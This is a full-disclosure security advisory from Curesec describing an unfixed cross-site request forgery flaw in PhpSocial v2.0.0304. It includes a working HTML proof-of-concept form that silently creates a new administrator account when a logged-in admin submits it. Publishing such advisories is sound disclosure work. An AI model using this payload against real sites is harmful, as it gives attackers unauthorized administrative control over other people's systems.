PhpSocial version 2.0.0304_20222226 suffers from a cross site request forgery vulnerability.
a680f869e08b247516440678c3c9d1a9c4386cd402f7565238483d9beefed02dSecurity Advisory - Curesec Research Team
1. Introduction
Affected Product: PhpSocial v2.0.0304_20222226
Fixed in: not fixed
Fixed Version Link: n/a
Vendor Webite: http://phpsocial.net
Vulnerability Type: CSRF
Remote Exploitable: Yes
Reported to vendor: 11/21/2015
Disclosed to public: 12/21/2015
Release mode: Full Disclosure
CVE: n/a
Credits Tim Coen of Curesec GmbH
2. Overview
CVSS
Medium 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P
Description
PhpSocial is a social networking software written in PHP. In version v2.0.0304,
it does not have CSRF protection, which means that an attacker can perform
actions for a victim, if the victim visits an attacker controlled site while
logged in.
3. Proof of Concept
Add a new admin:
<html>
<body>
<form action="http://localhost/PhpSocial_v2.0.0304_20222226/cms_phpsocial/admin/AdminAddViewadmins.php" method="POST">
<input type="hidden" name="admin_username" value="admin2" />
<input type="hidden" name="admin_password" value="admin" />
<input type="hidden" name="admin_password_confirm" value="admin" />
<input type="hidden" name="admin_name" value="admin2" />
<input type="hidden" name="admin_email" value="admin2@example.com" />
<input type="hidden" name="task" value="addadmin" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
4. Solution
This issue was not fixed by the vendor.
5. Report Timeline
11/21/ Contacted Vendor (no reply)
2015
12/10/ Tried to remind vendor (no email is given, security@phpsocial.net does
2015 not exist, and contact form could not be used because the website is
down)
12/21/ Disclosed to public
2015
Blog Reference:
https://blog.curesec.com/article/blog/PhpSocial-v200304-CSRF-133.html
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